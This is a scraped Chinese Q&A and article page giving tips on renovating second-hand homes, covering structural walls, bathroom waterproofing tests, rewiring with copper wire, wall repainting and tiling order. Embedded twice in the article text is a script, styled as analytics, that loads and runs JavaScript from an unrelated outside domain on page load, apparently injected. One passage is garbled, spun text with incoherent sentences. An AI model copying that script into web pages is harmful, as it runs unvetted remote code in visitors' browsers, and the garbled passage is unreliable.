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二手房重新装修有哪些要注意的?

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wangyu1110... 有用 1

随意拆改结构导致墙体变形
以前的房子户型结构往往不是很好,所以有人在购买二手房的时候,已经在谋划着要修改房屋的结构,在哪添个玄关、打通一堵墙等,因为城市中的多层住宅多是砖混结构,所以墙体首先是承重抗震构件,其次才是围护分隔构件。如果为了扩大空间打断承重墙,将使墙体构件的承重和抗震能力减弱,留下严重的隐患,所以随意拆改结构可能带来种种麻烦,比如说墙裂、塌陷,还有电路不通等问题。
卫浴间漏水惹来麻烦
不要以为二手房已经有前面的业主住过,防水方面就不会出问题,实际上经常会有人在搬进二手房之后因为漏水被下层的业主投诉。因为房子的年代过久或者是原本的防水做得不好,不少二手房的卫浴空间都有漏水的现象。建议在搬入二手房之前,最好在卫浴空间做一个闭水试验,检查以前的防水处理做得如何。在测试之前最好与楼下邻居打招呼,万一真的漏水,也可以获得邻居的理解和配合。如果有问题,一定要重新做防水,然后再开始贴瓷砖。
水电路燃气管线老化严重
因为以前的材质没有现在的先进,而且加上年代比较久,所以很多二手房都存在水电路老化的问题,若是事前没有进行仔细检查,很可能没住上多长时间,电灯不亮了,水管又爆裂了。水电路改造是旧房改造最复杂的项目之一。
装修前要仔细检查原有水路、燃气管线是否锈蚀、老化,水管应该重新换成铜管或PPR管。对于燃气管道这样具有危险性的管道,最好请专业人士进行检测。
新刷墙面频频掉漆
为什么二手房选用了名牌漆,新刷的墙面还是频频掉漆?原因在于,粉刷之前要打好底子,直接就往墙上刷漆的方式是欠妥当的,一般都要将原有的一些斑驳的旧漆面去掉,然后从新的界面开始粉刷,包括防水的底等,最好请专业的施工人员,这样能更好地保障今后的使用效果。
插座太少不便使用
有些朋友简单装修就入住后发现,很多电器找不到插座,只好多买一些活动插座,但是太多的线路纠结在一起让人看着心烦。现代生活,家用电器越来越多,对于插座的需求也在增加,旧房子在插座的设计方面往往难以达到现在的使用需求。因此装修时不妨多预留一些插座,方便今后的使用。
阳台改厨房油烟惹人嫌
为了拓宽使用面积,有些房主会将向北的阳台封闭起来,改成厨房,然后将原来的厨房做成储物间或是其他的用途。但是一旦真正住进来之后,会发现只要一开始做饭,整个家中都是油烟味。所以阳台改为厨房要慎重。
希望我的回答可以帮助您。

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创美居装饰 有用 1

二手房重新装修墙面注意事项:
1、铲除掉原有的不环保不耐水的普通腻子,更换为更加环保可靠的美巢易刮平800耐水防开裂腻子。
2、对于墙体和楼板基础上原有局部空鼓开裂的部位必须铲除到牢固的基层,然后再进行贴牛皮纸带及贴玻璃丝网格布防裂处理。
3、上世纪90年代左右的许多砖混结构的楼房的墙面抹灰层很多都是纸筋石灰罩面,内部为粘结强度很低的混合砂浆,这种墙面特别容易发生大面积空鼓和开裂,刮腻子之前更要提前做好防裂处理。
4、内保温及非承重墙的墙面开裂比较严重的情况下必须进行满贴9.5mm厚的纸面石膏板防裂处理。

宜家装饰 有用 1

二手房装修注意事项:
1、为洗手间进行闭水实验
在进行二手房重新装修之前,一定要先请装修工人对洗手间进行闭水实验,检查防水处理能力如何,如果出现漏水情况的话,就一定要清工人重新进行防水处理,注意在做完防水处理之后,一定要等地面的完全干透才能贴上瓷砖。
2、水电路的改造
在水路的改造完成之后,一定要检查是否连接紧密,不会出现渗透的现象;在电路的改造时,如果房子之前使用的是铝线,则一定要进行拆除,因为按照国家的标准,装修中必须使用2.5平方毫米的铜线,而对于安装空调等大功率电器的线路则应单独走一路4平方毫米的线路。在往墙中埋线时,必须使用PVC绝缘管。
3、墙面的粉刷
一般大家在购买了二手房之后,一定要对墙面进行重新粉刷,而二手房重新装修粉刷墙面时,一定要注意的是墙面基层的处理,最好是将原墙面铲平,并涂上界面剂,可以起到很好的防潮作用,最后再刷上墙漆,墙漆的颜色可以根据自己的爱好进行选择。
4、更换门窗
一般门窗在使用一定的时间之后就一定要进行更换,因为一旦门窗出现变形的情况,将会使得房屋内物品的安全得不到保障,如果门窗发生变形的情况,消费者一定要及时的进行更换。
5、增加必不可少的开关
现在家庭在平时生活的过程中所需要使用的电器变得越来越多,所以在进行二手房重新装修时,一定要适当的增加开关以及插座的个数,最好是在装修之前就可以提前做好规划,将开关以及插座的位置固定下来。

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二手房怎吗装修现在很多人买二手房,因为价格会低于新房的数量,而且还可以消除升级费用不小的一笔,但并不是所有的二手房都有业主的优势在购买时,你应该特别注意这一点。那么,二手房需要翻新吗?我买二手房时应该注意什么?1、二手房怎吗装修二手房需要翻新吗?不一定,主要取决于原房屋的装修是否符合您的要求。如果一般装饰相对较新,可以保持墙壁,地板和天花板等大件不变。添加一些新家具并清洁它们。你可以留下,但如果原主人住了很长时间,你可能需要拆除墙壁并重新设计装饰。购买二手房必须确保产权明确,这样才能保证过程成功,如果是二手房抵押贷款,业主可能要求先付款,否则双方都必须更换银行抵押贷款,这个过程很成问题2,二手房怎吗装修注意装修情况。手工安装的房屋非常重要,许多业主选择二手房的主要目的,是购买点,以节省成本,如果二手房装修灾难,节省成本,购买时,可能需要使用装修的方面,因此,如果你真的想省钱,无论装修的好坏,都应该考虑是否符合自己的需要。有些业主认为购买二手房的装修费用可以节省很多,但实际上这是错误的,特别是看房子的真实情况,如果房子比较旧,那也是必须包括取消预算,成本越高。以前需要翻新二手房,买二手房时要注意什么,希望我能帮到你。如果你想了解更多,​3、二手房怎吗装修主要看原房屋的装修情况是否符合您的要求,二手房怎吗装修如果整体装修都比较新,那墙面、地面、天花板这些大的部位就可以不用改动,添加一些新的家具,好好打扫一番就可以入住了,但如果原房主居住时间比较久,可能就需要将墙面铲除,然后重新设计装修了。二手房的装修情况是非常重要的,以为很多业主选择二手房的主要目的,就是省点购房的成本,如果二手房的装修一塌糊涂,那省下来的购房费用,可能就要用到装修方面了,二手房怎吗装修所以如果真的想要省钱,装修好坏,是否满足自己需求也是必须要考虑到的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

二手房可以重新装修吗?二手房重新装修注意问题

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如今由于许多城市实行限购,不少人选择购买二手房,而购买了二手房后,心里会想二手房可以重新装修吗?二手房可以重新装修吗?现在市面上有许多进行二手房装修的公司,他们能够从专业角度帮助您解决二手房可以重新装修的疑虑。下面看看他们是如何从专业角度分析,二手房重新装修需要注意的问题。第一是水电安装改造。二手房重新装修中水电安装改造是最重要的安全问题来的,所以,业主一定要千万注意,不要为了赶工期,而忽视原来线路的电流容量和老旧程度,如果买来的二手房还比较新的话,线路一般没有什么问题,但是如果房龄较长,就要考虑水电的重新铺设了,注意根据自己的需要做好图纸设计。水电安装改造完成后,要注意做好强弱电的区分,同时给水管进行加压试验。第二是墙面的处理。对各个房屋墙面进行处理,主要项目包括:拆除旧墙重建新墙、墙面平整处理、裂缝修补等,然后重新上乳胶漆,注意在进行前面这些施工前,做好橱柜、衣柜、鞋柜和贮物柜位置的测量,因为这样测量的尺寸才会精确,否则将影响今后的装修效果。第三是装门装窗。等刷完漆或在给墙面刷最后一遍漆的时候,安装门和垭口,门窗的制作一般需要15天左右,所以可以根据这个时间提前去定制,然后是安装灯、卫生间洁具及其它面板等,如果有木材、板材制作的家具,这时可以进行刷漆工作。第四是铺设瓷砖。在铺设地砖墙砖前,要做好水电安全检验,确认没有安全隐患后再进行。注意铺设瓷砖的顺序,从卫生间开始到厨房,然后是阳台再到客厅和卧室墙砖铺设,铺设好墙砖再铺设地砖,这样才不会对墙砖造成不必要的损坏,也有利于今后搞清洁。二手房可以重新装修吗?那要看您是否需要。朋友,当然重新装修二手房住的会更加舒心快乐。

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“精装普遍带装修,几千元每平方米的装修费水分太高。”这是许多业主选择购入二手房的原因,如今大家对于旧房和二手房的翻修需求越来越高。那买的二手房重新装修需要注意哪些方面呢?一、装修风格的确定买的二手房重新装修前一定要先确定好想要的风格和家具色调的选定,最好的解决方法是先选好想要的家具,再去进行对于家装的方案设计,能大大降低方案设计的难度。二、做好预算买的二手房重新装修前需要做好明确细致的预算,确定好预算才能确定选用什么价位的家装材料,才能定下最合适的设计方案。三、电路改造电路分配简单、电线老化、违章布线等现象是二手房普遍存在的问题,而现在的生活用电需求原本老旧的电路设计已经负担不起了,所以在二手房重新装修时必须彻底改造,重新布线。对于安装空调等大功率电器的线路,我们还应该单独设置一条4平方毫米截面的线路,并且必须在埋线时使用PVC绝缘护线管。四、门窗的改造在买的二手房重新装修时门窗老化也是一个需要重视的问题。在门窗出现以下情况时必须拆掉重做,例如木门窗起皮、变形,这说明木材本身特性发生变化,在这种情况下一定要换新的门窗。此外,如果钢制的门窗出现表面漆膜脱落、主体锈蚀或开裂的情况,为了不影响使用效果,也需要拆掉重做。买的二手房重新装修远不止以上几个方面需要注意,在装修过程中还应该注意水管是否老化,有没有隐蔽的工程问题等。二手房重新装修是一门学问,为了居住的舒适度还是建议大家找专业的设计人员进行装修。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

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